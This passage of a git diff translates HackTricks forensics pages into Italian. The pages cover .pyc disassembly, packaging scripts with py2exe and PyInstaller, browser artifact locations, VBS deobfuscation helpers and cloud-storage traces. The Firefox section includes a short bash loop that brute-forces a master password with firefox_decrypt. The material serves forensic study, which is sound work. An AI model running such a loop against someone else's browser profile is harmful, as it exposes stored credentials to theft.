i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Se non sei riuscito a estrarre il codice "originale" di python seguendo i passaggi precedenti, allora puoi provare a **estrarre** l'**assembly** (ma **non è molto descrittivo**, quindi **prova** a estrarre **di nuovo** il codice originale). In [qui](https://bits.theorem.co/protecting-a-python-codebase/) ho trovato un codice molto semplice per **disassemblare** il binario _.pyc_ (buona fortuna a capire il flusso del codice). Se il _.pyc_ è di python2, usa python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python in Eseguibile -## Python to Executable +Per iniziare, ti mostreremo come i payload possono essere compilati in py2exe e PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Per creare un payload utilizzando py2exe: +1. Installa il pacchetto py2exe da [http://www.py2exe.org/](http://www.py2exe.org) +2. Per il payload (in questo caso, lo chiameremo hello.py), utilizza uno script come quello nella Figura 1. L'opzione “bundle_files” con il valore di 1 raggrupperà tutto, incluso l'interprete Python, in un unico exe. +3. Una volta che lo script è pronto, emetteremo il comando “python setup.py py2exe”. Questo creerà l'eseguibile, proprio come nella Figura 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Per creare un payload utilizzando PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Installa PyInstaller usando pip (pip install pyinstaller). +2. Dopo di che, emetteremo il comando “pyinstaller –onefile hello.py” (un promemoria che ‘hello.py’ è il nostro payload). Questo raggrupperà tutto in un unico eseguibile. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Riferimenti - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..0a68c1d3b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Qui puoi trovare trucchi interessanti per tipi di file specifici e/o software: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..eeab1507c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,138 +2,128 @@ {{#include ../../../banners/hacktricks-training.md}} -
+## Browser Artifacts -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, che differiscono per posizione e nome tra i browser, ma generalmente memorizzano tipi di dati simili. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +Ecco un riepilogo degli artefatti del browser più comuni: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Cronologia di Navigazione**: Tiene traccia delle visite degli utenti ai siti web, utile per identificare le visite a siti malevoli. +- **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione. +- **Segnalibri**: Siti salvati dall'utente per un accesso rapido. +- **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente. +- **Cache**: Memorizza contenuti web (ad es., immagini, file JavaScript) per migliorare i tempi di caricamento dei siti web, prezioso per l'analisi forense. +- **Accessi**: Credenziali di accesso memorizzate. +- **Favicon**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per ulteriori informazioni sulle visite degli utenti. +- **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte. +- **Download**: Registrazioni dei file scaricati tramite il browser. +- **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per future suggerimenti di autocompletamento. +- **Miniature**: Immagini di anteprima dei siti web. +- **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox organizza i dati degli utenti all'interno dei profili, memorizzati in posizioni specifiche in base al sistema operativo: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella nominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se la cartella di un profilo è mancante, potrebbe essere stata eliminata. -Within each profile folder, you can find several important files: +All'interno di ciascuna cartella del profilo, puoi trovare diversi file importanti: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Memorizza cronologia, segnalibri e download. Strumenti come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia. +- Usa query SQL specifiche per estrarre informazioni sulla cronologia e sui download. +- **bookmarkbackups**: Contiene backup dei segnalibri. +- **formhistory.sqlite**: Memorizza i dati dei moduli web. +- **handlers.json**: Gestisce i gestori di protocollo. +- **persdict.dat**: Parole del dizionario personalizzato. +- **addons.json** e **extensions.sqlite**: Informazioni su componenti aggiuntivi e estensioni installati. +- **cookies.sqlite**: Memorizzazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows. +- **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Memorizza i favicon. +- **prefs.js**: Impostazioni e preferenze dell'utente. +- **downloads.sqlite**: Database dei download più vecchi, ora integrato in places.sqlite. +- **thumbnails**: Miniature dei siti web. +- **logins.json**: Informazioni di accesso crittografate. +- **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando le voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di navigazione sicura sono abilitate o disabilitate. +Per provare a decrittare la password principale, puoi usare [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Con il seguente script e chiamata puoi specificare un file di password da forzare: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome memorizza i profili utente in posizioni specifiche in base al sistema operativo: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) può essere utilizzato per leggere la cronologia. La colonna "Transition Type" ha vari significati, inclusi i clic dell'utente su link, URL digitati, invii di moduli e ricariche di pagina. +- **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Contiene dati memorizzati nella cache. Per ispezionare, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Segnalibri dell'utente. +- **Web Data**: Contiene la cronologia dei moduli. +- **Favicons**: Memorizza le favicon dei siti web. +- **Login Data**: Include le credenziali di accesso come nomi utente e password. +- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione attuale e sulle schede aperte. +- **Last Session**/**Last Tabs**: Informazioni sui siti attivi durante l'ultima sessione prima che Chrome fosse chiuso. +- **Extensions**: Directory per le estensioni e gli addon del browser. +- **Thumbnails**: Memorizza le miniature dei siti web. +- **Preferences**: Un file ricco di informazioni, incluse le impostazioni per plugin, estensioni, pop-up, notifiche e altro. +- **Browser’s built-in anti-phishing**: Per controllare se la protezione anti-phishing e malware è attivata, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output. -## **SQLite DB Data Recovery** +## **Recupero Dati SQLite DB** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Come puoi osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare le voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 gestisce i propri dati e metadati in diverse posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione. -### Metadata Storage +### Archiviazione dei Metadati -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile discernere le specifiche tabelle o contenitori in cui è memorizzato ciascun segmento di dati, inclusi i dettagli della cache per altri strumenti Microsoft come Skype. -### Cache Inspection +### Ispezione della Cache -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome del file, directory, conteggio degli accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache. -### Cookies Management +### Gestione dei Cookie -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggi di accesso e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria. -### Download Details +### Dettagli dei Download -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -### Browsing History +### Cronologia di Navigazione -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono i tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Typed URLs +### URL Digitati -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Gli URL digitati e i loro tempi di utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,38 +133,30 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiave includono: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Contiene le tabelle `history_visits` e `history_items` con URL e timestamp delle visite. Usa `sqlite3` per interrogare. +- **Downloads.plist**: Informazioni sui file scaricati. +- **Bookmarks.plist**: Memorizza gli URL dei segnalibri. +- **TopSites.plist**: Siti più visitati. +- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperare. +- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per analizzare. +- **LastSession.plist**: Schede dell'ultima sessione. Usa `plutil` per analizzare. +- **Browser’s built-in anti-phishing**: Controlla utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per cronologia e download. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` utilizzando `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi browser web. -## References +## Riferimenti - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..655283ac9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Alcune cose che potrebbero essere utili per eseguire il debug/deobfuscate un file VBS malevolo: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Commenti ```bash ' this is a comment ``` - ## Test - ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Scrivere dati in un file ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..d49633198 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,113 +2,96 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +In Windows, puoi trovare la cartella OneDrive in `\Users\\AppData\Local\Microsoft\OneDrive`. E all'interno di `logs\Personal` è possibile trovare il file `SyncDiagnostics.log` che contiene alcuni dati interessanti riguardo ai file sincronizzati: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Dimensione in byte +- Data di creazione +- Data di modifica +- Numero di file nel cloud +- Numero di file nella cartella +- **CID**: ID univoco dell'utente OneDrive +- Tempo di generazione del report +- Dimensione dell'HD del sistema operativo -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Una volta trovato il CID, è consigliato **cercare file contenenti questo ID**. Potresti essere in grado di trovare file con il nome: _**\.ini**_ e _**\.dat**_ che potrebbero contenere informazioni interessanti come i nomi dei file sincronizzati con OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +In Windows, puoi trovare la cartella principale di Google Drive in `\Users\\AppData\Local\Google\Drive\user_default`\ +Questa cartella contiene un file chiamato Sync_log.log con informazioni come l'indirizzo email dell'account, nomi dei file, timestamp, hash MD5 dei file, ecc. Anche i file eliminati appaiono in quel file di log con il corrispondente MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Il file **`Cloud_graph\Cloud_graph.db`** è un database sqlite che contiene la tabella **`cloud_graph_entry`**. In questa tabella puoi trovare il **nome** dei **file sincronizzati**, il tempo di modifica, la dimensione e il checksum MD5 dei file. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +I dati della tabella del database **`Sync_config.db`** contengono l'indirizzo email dell'account, il percorso delle cartelle condivise e la versione di Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox utilizza **database SQLite** per gestire i file. In questo\ +Puoi trovare i database nelle cartelle: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +E i database principali sono: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +L'estensione ".dbx" significa che i **database** sono **criptati**. Dropbox utilizza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read 